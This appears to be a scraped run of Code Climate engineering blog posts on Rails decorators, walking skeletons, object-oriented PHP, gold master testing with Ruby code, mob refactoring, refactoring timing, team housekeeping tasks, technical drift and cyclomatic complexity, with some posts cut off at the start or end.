<%= render "venues/show/leaderboard" if @leaderboard.present? %>

# app/views/venues/show/_leaderboard.html.erb
<% if @leaderboard.includes_patron?(@current_user) -%>
  <%= render "venues/show/patron_stats" %>
<% end -%>

The resulting controller method is now fairly simple:

def show
  @venue = Venue.find_enabled(params[:id])
  @leaderboard = LeaderboardDecorator.new(@venue.last_leaderboard)
end

The next time we work with this code, we might be annoyed that controller needs to know what is the right argument to give to a LeaderboardDecorator. We could introduce a new decorator for venues that will have a method that returns a decorated leaderboard. The implementation of that step is left as an exercise for the reader. ;)

EPILOGUE

For further reading, check out Marko’s series about antipatterns in testing Rails applications on the Semaphore blog.

It’s the beginning of the project. You already have a rough idea of the architecture you’re going to build and you know the requirements. If you’re like me you’ll want to just start coding, but you hold yourself back, knowing that you should really start with an acceptance test.

Unfortunately, it’s not that simple. Your system needs to talk to a datastore or two, communicate with a couple internal services, and maybe an external service as well. Since it’s hard to build both the infrastructure and the business logic at the same time you make a few assumptions in your test and stub out these dependencies, adding them to your TODO list.

A couple of weeks pass, the deadline is getting close, and you come back to your list. But while working on the integration you find out that it’s really a pain to setup one of the datastores, and that there are a few security-related issues with the external service you need to sort out with the in-house security team. You also discover that the behavior of the external service is not what you expected. Maybe the service is slower than you anticipated, or requires multiple requests that weren’t well-documented or just because you don’t have a premium account. Oh, and you left the deployment scripts for the end so now you need to start cranking on that.

Naturally, it’s more complicated than you originally thought. At this point you’re deep in crunch mode and realize you might not hit the deadline because of the additional work you’ve just discovered and the need to wait for other teams for their input.

Deploy A Walking Skeleton First

In order to reduce risks on projects like the above you need to figure out all the unknowns as early as possible. The best way to do this is to have a real end-to-end test with no stubs against a system that’s deployed in production. Enter the Walking Skeleton: a “tiny implementation of the system that performs a small end-to-end function. It need not use the final architecture, but it should link together the main architectural components. The architecture and the functionality can then evolve in parallel.” - Alistair Cockburn. It is discussed extensively in the excellent GOOS book.[1]

If the system needs to talk to one or more datastores then the walking skeleton should perform a simple query against each of them, as well as simple requests against any external or internal service. If it needs to output something to the screen, insert an item to a queue or create a file, you need to exercise these in the simplest possible way. As part of building it you should write your deployment and build scripts, setup the project, including its tests, and make sure all the automations are in place — such as CI integration, monitoring and exception handling. The focus is the infrastructure, not the features. Only after you have your walking skeleton should you write your first acceptance test and begin the TDD cycle.

This is only the skeleton of the application, but the parts are connected and the skeleton does walk in the sense that it exercises all the system’s parts as you currently understand them. Because of this partial understanding, you must make the walking skeleton minimal. But it’s not a prototype and not a proof of concept — it’s production code, so you should definitely write tests as you work on it. These tests will assert things like “accepts a request”, “pushes some content to S3”, or “pushes an empty message to the queue”.

[1] A similar concept called “Tracer Bullets” was introduced in The Pragmatic Programmer.

Start with the Riskiest Task

According to Hofstadter’s Law, “It always takes longer than you expect, even when you take into account Hofstadter’s Law”. Amazingly, the law is always spot on. It makes sense then to work on the riskiest parts of the project first, which are usually the parts which have dependencies: on third party services, on in house services, on other groups in the organization you belong to. It makes sense to get the ball rolling with these groups simply because you don’t know how long it will take and what problems should arise.

Don’t Cut Corners

It’s important to stress that until the walking skeleton is deployed to production (possibly behind a feature flag or just hidden from the outside world) you are not ready to write the first acceptance test. You want to exercise your deployment and build scripts and discover as many potential problems as you can as early as possible.

The Walking Skeleton is a way to validate the design and get early feedback so that it can be improved. You will be missing this feedback if you cut corners or take shortcuts.

Kickstart the TDD process

You can also think about it as a way to start the TDD process. It can be daunting or just too much work to build the infrastructure along with the first acceptance test. Furthermore, changes in one may require changes in the other (it’s the “first-feature paradox” from GOOS). This is why you first work on the infrastructure and only then move on to work on the first feature.

Obstacles and Tradeoffs

By front-loading all infrastructure work you’re postponing the delivery of the first feature. Some managers might feel uncomfortable when this happens, as they expect very rapid pace at the beginning of the project. You might feel some pressure to cut corners. However, their confidence should increase when you deliver the walking skeleton and they have a real, albeit minimal, system to play with. Most hard problems in software development are communication problems, and this is no exception. You should explain how the walking skeleton will reduce unexpected delays at the end of the project.

The walking skeleton may not save you from the recursiveness of Hofstadter’s Law but it may make the last few days of the project a little more sane.

One of the most common questions that PHP developers have about object-oriented programming is, “why should I bother?” Unlike languages such as Python and Ruby, where every string and array is an object, PHP is very similar to its C roots, and procedural programming is possible, if not encouraged.

Even though an object model exists in PHP, it’s not a requirement that developers use it. In fact, it’s possible to build great applications (see WordPress) without object-orientation at all.

So why bother?

There are five good reasons why object-oriented PHP applications make sense, and why you should care about writing your applications in an object-oriented style.

1. Objects are extensible.

It should be possible to extend the behavior of objects through both composition and inheritance, allowing objects to take on new life and usefulness in new settings.

Of course, developers have to be careful when extending existing objects, since changing the public API of an object creates a whole new object type. But, if done well, developers can revitalize old libraries through the power of inheritance.

2. Objects are replaceable.

The whole point of object-oriented development is to make it easy to swap objects out for one another. The Liskov Substitution Principle tells us that one object should be replaceable with another object of the same type and that the program should still work.

It can be hard to see the value in removing a component and replacing it with another component, especially early on in the development lifecycle. But the truth is that things change; needs, technologies, resources. There may come a point where you’ll need to incorporate a new technology, and having a well-designed object-oriented application will only make that easier.

3. Objects are testable.

It’s possible to test procedural applications, albeit not well. Most procedural applications don’t have an easy way to separate external components (like the file system, database, etc.) from the components under test. This means that under the best circumstances, testing a procedural application is more of an integration test than a unit test.

Object-oriented development makes unit testing far easier and more practical. Since you can easily mock and stub objects (see Mockery, a great mock object library), you can replace the objects you don’t need and test the ones you do. Since a unit test should be testing only one segment of code at a time, mock and stub objects make this possible.

4. Objects are maintainable.

There are a few problems with procedural code that make it more difficult to maintain. One is the likelihood of code duplication, that insidious parasite of unmaintainability. Object-oriented code, on the other hand, makes it easy for developers to put code in one place, and to create an expressive API that explains what the code is doing, even without having to know the underlying behavior.

Another problem that object-oriented programming solves is the fact that procedural code is often complicated. Multiple conditional statements and varying paths create code that is hard to follow. There’s a measure of complexity — cyclomatic complexity — that shows us the number of decision points in the code. A score greater than 12 is usually considered bad, but good object-oriented code will generally have a score under 6.

For example, if you know that a method accepts an object as one of its arguments, you don’t have to know anything about how that object works to meet the requirements. You don’t have to format that object, or manipulate the data to meet the needs of the method; instead, you can just pass the object along. You can further manipulate that object with confidence, knowing that the object will properly validate your inputs as valid or invalid, without you having to worry about it.

5. Objects produce catchable (and recoverable) errors.

Most procedural PHP developers are passingly familiar with throwing and catching exceptions. However, exceptions are intended to be used in object-oriented development, and they are best used as ways to recover from various error states.

Exceptions are catchable, meaning that they can be handled by our code. Unlike other mechanisms in PHP (like trigger_error()), we can decide how to handle an exception and determine if we can move forward (or terminate the application).

The Bottom Line

Object-oriented programming opens up a whole world of new possibilities for developers. From testing to extensibility, writing object-oriented PHP is superior to procedural development in almost every respect.

PHP is the next language we’ll be supporting on Code Climate. We’ll be rolling out support in phases over the next couple of months, but the sooner you join our PHP early access mailing list the sooner you’ll be able to try it out – so reserve your spot today.

Eyelids closed, gold sun shines on

The world’s coated in the gold Krylon.

–Macklemore and Ryan Lewis, featuring Eighty4 Fly

At Code Climate, we feel it’s critical to deliver dependable and accurate static analysis results. To do so, we employ a variety of quality assurance techniques, including unit tests, acceptance tests, manual testing and incremental rollouts. They all are valuable, but we still had too much risk of introducing hard-to-detect bugs. To fill the gap, we’ve added a new tactic to our arsenal: gold master testing.

Gold master testing refers to capturing the result of a process, and then comparing future runs against the saved “gold master” (or known good) version to discover unexpected changes. For us, that means running full Code Climate analyses of a number of open source repos, and validating every aspect of the result. We only started doing this last week, but it’s already caught some hard-to-detect bugs that we otherwise may not have discovered until code hit production.

Why gold master testing?

Gold master testing is common when working with legacy code. Rather than trying to specify all of the logical paths through an untested module, you can feed it a varied set of inputs and turn the outputs into automatically verifying tests. There’s no guarantee the outputs are correct in this case, but at least you can be sure they don’t change (which, in some systems is even more important).

For us, given that we have a relatively reliable and comprehensive set of unit tests for our analysis code, the situation is a bit different. In short, we find gold master testing valuable because of three key factors:

• The inputs and output from our analysis is extremely detailed. There are a huge number of syntactical structures in Ruby, and we derive a ton of information from them.
• Our analysis depends on external code that we do not control, but do want to update from time-to-time (e.g. RubyParser)
• We are extremely sensitive to any changes in results. For example, even a tiny variance in our detection of complex methods across the 20k repositories we analyze would ripple into changes of class ratings, resulting in incorrect metrics being delivered to our customers.

These add up to mean that traditional unit and acceptance testing is necessary but not sufficient. We use unit and acceptance tests to provide faster results and more localized detection of regressions, but we use our gold master suite (nicknamed Krylon) to sanity check our results against a dozen or so repositories before deploying changes.

How to implement gold master testing

The high level plan is pretty straightforward:

1. Choose (or randomly generate, using a known seed) a set of inputs for your module or program.
2. Run the inputs through a known-good version of the system, persisting the output.
3. When testing a change, run the same inputs through the new version of the system and flag any output variation.
4. For each variation, have a human determine whether or not the change is expected and desirable. If it is, update the persisted gold master records.

The devil is in the details, of course. In particular, if the outputs of your system are non-trivial (in our case a set of MongoDB documents spanning multiple tables), persisting them was a little tricky. We could keep them in MongoDB, of course, but that would not make them as accessible to humans (and tools like diff and GitHub) as a plain-test format like JSON would. So I wrote a little bit of code to dump records out as JSON:

dir = "krylon/#{slug}"
repo_id = Repo.create!(url: "git://github.com/#{slug}")
run_analysis(repo_id)
FileUtils.mkdir_p(dir)

%w[smells constants etc.].each do |coll|
  File.open("#{dir}/#{coll}.json", "w") do |f|
    docs = db[coll].find(repo_id: repo_id).map do |doc|
      round_floats(doc.except(*ignored_fields))
    end

    sorted_docs = JSON.parse(docs.sort_by(&:to_json).to_json)
    f.puts JSON.pretty_generate(sorted_docs)
  end
end

Then there is the matter of comparing the results of a test run against the gold master. Ruby has a lot of built-in functionality that makes this relatively easy, but it took a few tries to get a harness set up properly. We ended up with something like this:

dir = "krylon/#{slug}"
repo_id = Repo.create!(url: "git://github.com/#{slug}")
run_analysis(repo_id)

%w[smells constants etc.].each do |coll|
  actual_docs = db[coll].find(repo_id: repo_id).to_a
  expected_docs = JSON.parse(File.read("#{dir}/#{coll}.json"))

  actual_docs.each do |actual|
    actual = JSON.parse(actual.to_json).except(*ignored_fields)

    if (index = expected_docs.index(actual))
      # Delete the match so it can only match one time
      expected_docs.delete_at(index)
    else
      puts "Unable to find match:"
      puts JSON.pretty_generate(JSON.parse(actual.to_json))
      puts
      puts "Expected:"
      puts JSON.pretty_generate(JSON.parse(expected_docs.to_json))
      raise
    end
  end

  if expected_docs.empty?
    puts "    PASS #{coll} (#{actual_docs.count} docs)"
  else
    puts "Expected not empty after search. Remaining:"
    puts JSON.pretty_generate(JSON.parse(expected_docs.to_json))
    raise
  end
end

All of this is invoked by a couple Rake tasks:

rake krylon:save[brynary/rack-test] # Save the results to disk
rake krylon:validate[brynary/rack-test] # Validate against the gold master

Our CI system runs the rake krylon:validate task. If it fails, someone on the Code Climate team reviews the results, and either fixes an issue or uses rake krylon:save to update the gold master.

Gotchas

In building Krylon, we ran into a few issues. They were all pretty simple to fix, but I’ll list them here to hopefully save someone some time:

• Floats – Floating point numbers can not be reliably compared using the equality operator. We took the approach of rounding them to two decimal places, and that has been working so far.
• Timestamps – Columns like created_at, updated_at will vary every time your code runs. We just exclude them.
• Record IDs – Same as above.
• Non-deterministic ordering of hash keys and arrays – This took a bit more time to track down. Sometimes Code Climate would generate hashes or arrays, but the order of those data structures was undefined and variable. We had two choices: update the Krylon validation code to allow this, or make them deterministic. We went with updating the production code to be deterministic with respect to order because it was simple.

Wrapping up

Gold master testing is not a substitute for unit tests and acceptance tests. However, it can be a valuable tool in your toolbox for dealing with legacy systems, as well as certain specialized cases. It’s a fancy name, but implementing a basic system took less than a day and began yielding benefits right away. Like us, you can start with something simple and rough, and iterate it down the road.

When teams try to take control of their technical debt and improve the maintainability of their codebase over time, one problem that can crop up is a lack of refactoring experience. Teams are often composed of developers with a mix of experience levels (both overall and within the application domain) and stylistic preferences, making it difficult for well-intentioned contributors to effect positive change.

There are a variety of techniques to help in these cases, but one I’ve had success with is “Mob Refactoring”. It’s a variant of Mob Programming, which is like pair programming with more than two people (though still with one computer). This sounds crazy at first, and I certainly don’t recommend working like this all the time, but it can be very effective for leveling up the refactoring abilities of the team and establishing shared conventions for style and structure of code.

Here’s how it works:

1. Assemble the team for an hour around a computer and a projector. It’s a great opportunity to order food and eat lunch together, of course.
2. Bring an area of the codebase that is in need of refactoring. Have one person drive the computer, while the rest of the team navigates.
3. Attempt to refactor the code as much as possible within the hour.
4. Don’t expect to produce production-ready code during these sessions. When you’re done, throw out the changes. Do not try to finish the refactoring after the session – it’s an easy way to get lost in the weeds.

The idea is that the value of the exercise is in the conversations that will take place, not the resulting commits. Mob Refactoring sessions provide the opportunity for less experienced members of the team to ask questions like, “Why do we do this like that?”, or for more senior programmers to describe different implementation approaches that have been tried, and how they’ve worked out in the past. The discussions will help close the experience gap and often lead to a new consensus about the preferred way of doing things.

Do this a few times, and rotate the area of focus and the lead each week. Start with a controller, then work on a model, or perhaps a troublesome view. Give each member of the team a chance to select the code to be refactored and drive the session. Even the least experienced member of your team can pick a good project – and they’ll probably learn more while by working on a problem that is on the top of their mind.

If you have a team that wants to get better at refactoring, but experience and differing style patterns are a challenge, give Mob Refactoring a try. It requires little preparation, and only an hour of investment (although I would recommend trying it three times before judging the effect). If you give it a go, let me know how it went for you in the comments.

For the longest time, when I had to change a behavior in a codebase I followed these rough steps:

1. Locate the behavior in the application’s code, usually inside some class (hopefully just one)
2. Determine how it needed to be adjusted in order to meet the new requirements
3. Write one or more failing tests that the class must satisfy
4. Update the class to satisfy the tests

Simple, right? Eventually I realized that this simple workflow leads to messy code.

The temptation when changing an existing system is to implement the desired behavior within the structure of the current abstractions. Repeat this without adjustment, and you’ll quickly end up contorting existing concepts or working around legacy behaviors. Conditionals pile up, and shotgun surgery becomes standard operating procedure.

One day, I had an epiphany. When making a change, rather than surveying the current landscape and asking “How can I make this work like I need?”, take a step back, look at each relevant abstraction and ask, “How should this work?”.

The names of the modules, classes and methods convey meaning. When you change the behavior within them in isolation, the cohesion between those names and the implementation beneath them may begin to fray.

If you are continually ensuring that your classes work exactly as their names imply, you’ll often find that the change in behavior you seek is better represented by adjusting the landscape of types in your system. You may end up introducing a collaborator, or you might simply need to tweak the name of a class to align with it’s new behavior.

This type of conscientiousness is difficult to apply rigorously, but like any habit it can be built up over time. Your reward will be a codebase maintainable years into the future.

Refactor too early and you could over-abstract your design and slow down your team. YAGNI! You’ll also make sub-optimal design decisions because of the limited information you have.

On the other hand, if you wait too long to refactor, you can end up with a big ball of mud. The refactoring may have grown to be a Herculean effort, and all the while your team has been suffering from decreased productivity as they tiptoe around challenging code.

So what’s a pragmatic programmer to do? Let’s take a look at a concrete set of guidelines that can try to answer this question. Generally, take the time to refactor now if any of the following are true:

1. Refactoring will speed up the task at hand. This is a no brainer, because you’ll get your current work done more quickly, and the refactoring you performed will benefit your team over time. Of course, this is a judgement call, but experienced developers will hone their sense for these cases.

2. The refactoring is quick and contained. Many refactorings consist of making small changes, generally within a single class. Because you’re altering an encapsulated unit of structure, often these types of changes require no modifications to collaborators or unit tests. The most common example is applying the Extract Method refactoring in order to implement the Composed Method pattern, but other refactorings like Replace Temp with query fall into this category.

   Katrina Owen once said:

   Small refactorings are like making a low cost investment that always pays dividends. Take advantage of that every time.

   Remember, source code is generally “Write once, read hundreds (or thousands) of times”. Spending a little extra time now cleaning up the internal structure of your classes makes them more approachable to every developer who opens that source code file in the future.

3. The un-factored code has three strikes. Keep track (either in the back of your head or documented somewhere) of each time you run into a problem or friction that would have been avoided if your code had been better factored. When a given problem spot causes your team trouble three times, it’s time to clean it up. This allows you to focus on the issues that are actually slowing your team down, not just the areas that seem messy.

4. You’re at risk of digging a hole that will take more than a day to fix. The worst code in every app is usually stuck in god objects that feel almost impossible to refactor, but it wasn’t always this way.

   A key practice to employ when considering a larger refactoring is asking yourself this question:

   “If I pass on doing the refactoring now, how long would it take to do later?”

   If it would take less than a day to perform later, there is less urgency to do it now. It means that if a change needs to be made later, you can be confident you won’t be stuck in the weeds for days on end to whip the code into a workable state in order to implement the feature or bug fix.

   Conversely, if passing on the refactoring creates a risk of digging technical debt that would take more than a day to resolve, it should probably be dealt with immediately. If you wait, that day could become two, or three or four days. The longer the time a refactoring takes, the less likely it is to ever be performed.

   So it’s important to limit the technical debt you carry to issues that can be resolved in short order if they need to be. Violate this guideline, and you increase the risk of having developers feel the need to spend days cleaning things up, a practice that is sure to (rightly) make your whole organization uneasy.

1. Delete inactive branches and Pull Requests

We’ll start with an easy one. If your team is anything like ours, it creates branches and pull requests on a regular basis. The problem comes when they get abandoned or merged (perhaps via a rebase) and the branch and/or pull request gets left behind for all eternity. Code Climate only has three people working on it, but we have over 100 branches and a dozen open PRs across our three main repositories – almost none of those need to be looked at ever again.

Get all the developers in a room and go through Git branches and open pull requests in alphabetical order. Give anyone a chance to claim any branch they want around, but terminate any unclaimed branches with extreme prejudice. You’ll be left with a lot less clutter in your repos and GitHub views.

Time required: 15 minutes as a team. If you hold a daily stand-up, do it immediately following.

2. Optimize your deploys

Deploys are like a mutex in your development pipeline and it pays to keep them as fast as possible. There’s no excuse for a deploy that takes longer than 30 seconds, and in many cases you can optimize them to be significantly faster than that without too much effort. The main Code Climate Rails app can usually be deployed in less than 5 seconds.

Often the culprit is simply doing a lot of unnecessary work (updating dependencies with NPM or Bundler, copying large directories, or precompiling assets) on every deploy. Making better use of Git (and its ability to know exactly what is changing on each deploy) can eliminate these extra steps except when they are needed yielding big performance wins.

in October we described the upgrades we made to our Capistrano-based deployment process. Give that post a read and apply the techniques to your own project. Everyone on your team will be happier – well, except for the fact that you’ll take away one of their legitimate excuses for slacking off.

(If anyone has tips for optimizing deploys to Heroku, please share them in the comments.)

Time required: Three hours.

3. Ratify a coding style guide

Your code has a style whether you define it or not, and chances are if you have more than one programmer on your team that your natural styles will differ in at least a few ways. Ideally, you wouldn’t be able to tell the difference (at least stylistically) between code written by any of your team members.

Rather than waging coding style war in diffs and GitHub comments, take some time as a development team to ratify a style guide for your organization. It doesn’t really matter what rules you choose, just that you all agree to follow them. The most important principle is:

Proposed changes to the team’s style guides will be litigated out-of-band.

This helps avoid the problem of developers wasting time reformatting code every time they start working in a new file or code reviews that devolve into style nit picking sessions. After you ratify your style guide, pick a date about a month in the future to review it as a team and discuss potential changes. You could even create a GitHub repository to store it, and discuss change proposals in pull requests.

There’s no need to start from scratch. Feel free to crib from other widely available style guides — for example, Airbnb’s JavaScript style guide might be a good starting point for you. GitHub itself also publishes their style guide, which has sections on Ruby, JavaScript and even the voice and tone to use on the site.

Time required: One hour as a team.

4. Curate a core test suite

Quick: How long do you have to wait for tests to run in order to give you 95% confidence that your latest code change is safe to ship to production? If it’s any longer than a few minutes, your team is paying a hefty tax each and every time they sit down at a keyboard.

Rigorously applying the principles of the testing pyramid will yield a fast test suite that still gives strong confidence the application is functioning as desired. What if your main test suite is already too slow? You’ve got a few options:

• Delete slow tests that aren’t pulling their weight. Remember, if a test’s value drops below the investment it takes to keep around and run, it has got to go.
• Segregate slow running tests into a separate suite. The goal is to reach 95% confidence within a few minutes of tests running. Often times teams end up with a bunch of slower tests they feel are important to get to 99% confidence, but a much smaller set of tests that cover core user flows can do a great job on their own. Running all tests every time is subject to diminishing returns.
• Replace high level tests with lower level tests. This is an ongoing approach to improve the situation over time, and can’t usually be done in one sitting. Still, if your suite is too slow continually keep an eye out for where a lower level (e.g. unit) test may be a better fit than an acceptance test.

Remember that even a few seconds shaved off your build will save you several developer-hours over the course of the year.

Time required: Up to four hours upfront.

5. Audit your app for vulnerabilities

It seemed like 2013 was a particularly rough year for security on the Web, with a string of high profile breaches as startups and established companies alike. Now is a great time to take a step back and look at your code and operations to ensure you’re taking the appropriate precautions to avoid become a victim.

Although common Web application security risks transcend development tools, the detection of vulnerabilities and appropriate remedies tends to be a framework and language specific. For Rails apps, we recommend running Brakeman, an open source vulnerability detection scanner based on static analysis, and bundler-audit. If you’ve never run tools like this against your code base, it’s very likely they’ll uncover at least one issue worth addressing, making it time well spent.

If you add your Rails repo to Code Climate, Code Climate’s Security Monitor feature will notify your team when new security vulnerabilities are introduced.

If you know of tools for other programming languages that are helpful, please share them in the comments.

Time required: 15 minutes to run a scan.

6. Extract an open source project

Lots of us have a TODO on our list to extract some useful component of one of our applications and release it as an open source project. The turn of the calendar is a great time to take that opportunity.

Why open source code? There are lots of reasons. First, the act of extracting the code often tends to lead to cleanup and better definition of the boundaries, making the component more maintainable. Then, once the code is published, you may very well get contributions. For example, the short time since we released our codeclimate-test-reporter gem, we’ve already received a few valuable contributions in the form of pull requests. Those were features we had on our list, and we saved time because other generous individuals spent their time improving our code! Finally, open source is a great way to get your organization’s name out into the community, which certainly doesn’t hurt when it comes time to grow your team with hiring.

Often developers get hung up on the need for code being exemplary before they share it. While it’s understandable that no one wants to be represented by messy code, remember that the sooner you flip the OSS bit the sooner other people can start benefiting from your work and making contributions. Plenty of the important OSS projects you use every day are messy codebases, but I bet your are happier that they are available as-is.

In short, obey the squirrel!

Time required: Up to four hours.

7. Ditch your CI server

Developers in 2014 benefit from access to a wide range of services that strive to solve a variety of pain points that we used to have to roll up our sleeves and tackle on our own. Continuous integration (CI) is one of those pains, and it can be a big one.

Rather than operating your own CI server (like Jenkins), consider trying out a hosted alternative. They’ve advanced significantly over the past couple years and usually the time spent to make the switch is quickly paid back by not having to perform maintenance tasks like software updates and adding capacity on your own. Further, most of these tools have whole teams working every day to improve the continuous integration tooling. That’s just not something most dev shops can afford to do – at least until you’re Facebook-sized.

There are a lot of vendors competing in the CI space these days, but to give you some starting points, Code Climate has partnerships with Semaphore, Solano Labs and Travis CI.

Once you’re up and running, as a final step be sure to test intentionally breaking the build to ensure you are properly notified.

Time required: Two hours.

8. Clean up your READMEs

Good READMEs lay a foundation for getting developers up and running with a codebase. However, unless they are actively maintained, they start to drift away from the reality of the underlying project.

We like to begin our READMEs with a one sentence summary of the role of the codebase. Beyond that, we may include some additional context about how the code fits into the overall architecture, but we try to keep this brief. The meat of the README is comprised of install steps and any instructions necessary to execute the code. (Hopefully the install steps are few, as we try to automate as much as possible.)

Take a few minutes to glance at the READMEs of your most important codebases (or write them if they don’t exist or are empty). Most importantly, remove outdated information that could send your future teammates on a wild goose chase. No documentation is better than wrong documentation. But if you have the time while you’re in there, sync up the content of the README with the context in your head.

Protip: Whenever a new developer joins your team, have them follow the README instructions to get set up. Hopefully it should go smoothly, but should they run into any missing our outdated documentation, have them commit README updates before they move on.

Time required: 30 minutes.

9. Aggregate and index your logs

Here’s one that I’ve gone an embarrassingly long time in my development career without addressing. Searching through log files sucks. Searching through log files across three applications and eight servers leveraging all of the power of Terminal.app’s tabs functionality sucks even more. There’s no reason for this.

Today it’s simple to get up and running with log aggregation tools, either hosted (like Papertail or Loggly) or on-premise (with Logstash and Kibana. Both systems can be setup to accept log messages already flowing through rsyslog or, with a bit more configuration, being written to log files on disk.

Either way, once you’re done, you’ll have a single place for your developers and operations people to go to search logs for valuable clues when diagnosing issues. This is a lifesaver in emergencies. Once you’ve got a handle on the basics, you can play around with fancier techniques like using values emitted in log files to push data into a time series database like Librato Metrics and archiving old logs to S3 (because storage is cheap and who knows if you’ll need them).

Time required: Two hours.

10. Track the quality of your team’s code as you commit

Every day we see experienced, well meaning teams struggling to achieve their code maintainability goals. A big part of the problem is that you can’t tell whether your code is getting better or worse simply by pulling up your project in GitHub.

Developers these days leverage increasing visibility to tackle all sorts of thorny problems from failing tests to slow databases. Code Climate lets you see how your code is changing from day-to-day in a way that’s clear, timely and actionable. Derek Hopper, from Ideal Project Group, writes about the impact Code Climate has had for them:

We’ve eliminated numerous code smells. We’ve properly extracted business logic which transformed F classes into A classes. We have better test coverage for the important pieces of our application. The application is more stable overall.

If you haven’t tried it yet, we offer a 14-day free trial and we’d be happy to talk with you about how you can get off on the right foot with Code Climate in 2014.

Time required: Less than 15 minutes to get the results.

“Letting the days go by, let the water hold me down.”

The water which holds him down is an obvious reference to what can happen to a software developer over time, caught under the weight of their own codebase. But what Byrne is singing about here isn’t strictly technical debt. Technical debt is the outcome. He’s singing about something else, about “letting the days go by”, about letting your codebase slip away from you.

Byrne, although he did not know it at the time (after all, even the phrase technical debt hadn’t been invented yet) was singing about “technical drift”. Technical drift is a phenomenon that impacts a lot of well-meaning software development teams. It’s a phenomenon that occurs when a development team continuously fails to recognize and adapt to change, causing the concepts in the software’s domain and the concepts in code to start to slowly “drift” apart from one another, creating dissonance which ultimately leads to technical debt.

One of the goals of software development is to write software that most closely reflects the the domain in which we’re working. This creates more understandable code that is easy reason and discuss, both within the tech team and with the rest of the organization. But it’s important to remember that the domain is continually shifting. We’re receiving new requirements based on new information.

If we don’t adapt to these changes, a gap will appear between our domain and software, and the gap becomes our friend, technical debt.

While the signs of technical drift may be hard to spot, technical debt, the result, starts to become readily apparent.

In some cases, a software development team, or a team leader, recognizing that the gap has become too large, comes together and decides “enough is enough”. What is needed is Design —Big Design. The team stops feature development, buckles down, and refactors their code and architecture to more cleanly map to their domain.

The problem with Big Design is that it’s a “stop the world” operation. Feature development stops, and an anxious queue begins to build up waiting for the development team to free up. Furthermore, it grants false hope that such a thing might not be necessary again, but if the pattern continues, it often becomes inevitable.

How do we prevent technical drift?

If you’re not taking an active role in refactoring your application every week chances are you’re experiencing “technical drift”. Having a problem space that is continually changing necessitates continuous reworking of how your application is designed — what Agile practitioners call “iterative design”. When you’re able to do this effectively, you can round off the peaks and avoid some of the pitfalls of Big Design.

Note that the “Code” and “Domain” lines never intersect. We must accept that we do not yet have enough information to make some kinds of design decisions. But we can get close.

Understanding technical drift is more of a mindset than a particular practice, but it can help put into context why it’s important to remain vigilant, to call attention to code and domain mismatches, and to advocate for accurate and precise names wherever possible. Gaps which you’re creating may be well understood today, but as your team changes, and time progresses, that understandability suffers. Make the investment now, double down and pay attention.

Years later you don’t want to look back in horror on your code and say to yourself “my god, what have I done”.

While Code Climate doesn’t use this exact measurement, the history of quantifying the complexity of a computer program can be traced to an algorithm known as “cyclomatic complexity.” This concept was introduced in “A Complexity Measure,” a 1976 paper by Thomas J. McCabe, a United States Department of Defense employee who was involved in many large scale programming and programming management efforts during his career. As is the case with most enduring concepts in computer science and software engineering, the problems that motivated McCabe’s original work are still relevant today. The text of the paper begins:

“There is a critical question facing software engineering today: How to modularize a software system so the resulting modules are both testable and maintainable?”

While we have more ideas about modularity, testability, and maintainability than we did in 1976, this is still at the heart of what makes programming complex and challenging for modern programmers, product managers, stakeholders, and more. In order to answer this critical question, McCable makes the claim that:

“What is needed is a mathematical technique that will provide a quantitative basis for modularization and allow us to identify software modules that will be difficult to test or maintain.”

Charged with the task of how to identify complex programs in order to reduce testing time and maintenance costs, McCabe takes a page from his experience with graph theory and provides a framework for determining the complexity of a computer program based on the idea of graph theoretic complexity.

The details of the algorithm aren’t terribly important, but the basic idea is that the connectedness of a graph relates to its complexity, and that the notion of complexity is independent of size. Here’s the author’s description of the strategy:

“The overall strategy will be to measure the complexity of a program by computing the number of linearly independent paths, control the “size” of programs by setting an upper limit to these paths (instead of using just physical size), and use the cyclomatic complexity as the basis for a testing methodology.”

When McCabe speaks of “linearly independent paths,” he is essentially referring to possible paths of execution that running a given piece of code can generate. In modern terms, this means that conditional statements and assignments will lead to higher cyclomatic complexity scores, and that limiting possible paths within methods will leader to lower scores. Let’s take a look at some JavaScript code that will illustrate this principle:

// Example 1
function myFunction(param){
  var flags = [];
  if(param == 0){
    flags.push(0);
  }
  if(param > 0){
    flags.push(param);
  }
  return flags;
}

// Example 2 - simplified
function myFunction(param){
  return [param];
}

In the first function we can see that there are unnecessary conditional statements that cloud the intent of the (admittedly trivial) function. By removing these if statements and compacting the function to its essentials, we intuitively have a less complex function. By that token, the cyclomatic complexity score would be lower.

While the concept of applying graph theory to the structure of computer programs is novel and would have alone made this paper a landmark, the true measure of its genius lies in the desire of the author to “illustrate the correlation between intuitive complexity and graph-theoretic complexity.” In other words, the author was aware that the intuition of a programmer with respect to their notion of complexity is a powerful one that is worth preserving, and instead of seeking an algorithm that programmers could lean on, he sought one that would confirm what they already believed.

Modern static analysis tools deal with a larger volume of code than McCabe probably ever imagined possible, and so their goals have to be somewhat aligned with modern practice. Tools like Code Climate that analyze entire code bases are going to be more powerful in the historical view than in the moment - there is simply too much information to consume to be able to review a quality report every time new code is pushed to a repository. Instead, the onus is on modern tools to provide a glimpse into how things are changing.Essentially, for a tool to be applicable, it must be trustworthy, and to be trustworthy, it must conform to the underlying assumptions that engineers have about the material that they work with: code.

For Code Climate and other code quality tools to measure their success, they should look to see if they are, for the most part, conforming to the intuition of developers. Where they’re not doing so, they should be opening interesting conversations that help programmers get to the heart of the designs they are implementing. Can you think of examples when static analysis has confirmed or contradicted your intuition? Leave us some examples in the comments below and we’ll share them.

Stay tuned for the next post in which we’ll explore some of the visualizations McCabe used to express code complexity, and look at some real world code examples to see how lowering cyclomatic complexity can make code intuitively less complex.

Works Cited McCabe, T.J. A Complexity Measure IEEE Transactions on Software Engineering, Vol. SE-2 No.4, December 1976. Department of Defense, National Security Agency.

The second problem is even more troublesome. Generally, code that doesn’t have good test coverage is also badly designed. One of the big benefits of test driving your code is that it moves you towards a range of good practices. Most of the time, when you test drive code you’ll write your code “outside in” - focusing on the interface that the test needs to validate before thinking about the implementation you’ll need to deliver. It also makes it more likely that you’ll create classes with a narrow responsibilities that are loosely coupled, as the excessive setup required for testing tightly coupled code will quickly move you towards reducing your coupling. So if you’re working with code that doesn’t have good test coverage, most of the time it will be harder to write tests for and more tightly coupled than test driven code.

Finally, because of the the first two issues, the chances are that when changes have been made to the project in the past, developers will have made the smallest possible changes consistent with getting their new feature working rather than refactoring and cleaning up the code every time they touched it. Because of this it’s likely to have a high degree of technical debt, making it even harder to work with.

Moving forward step-by-step

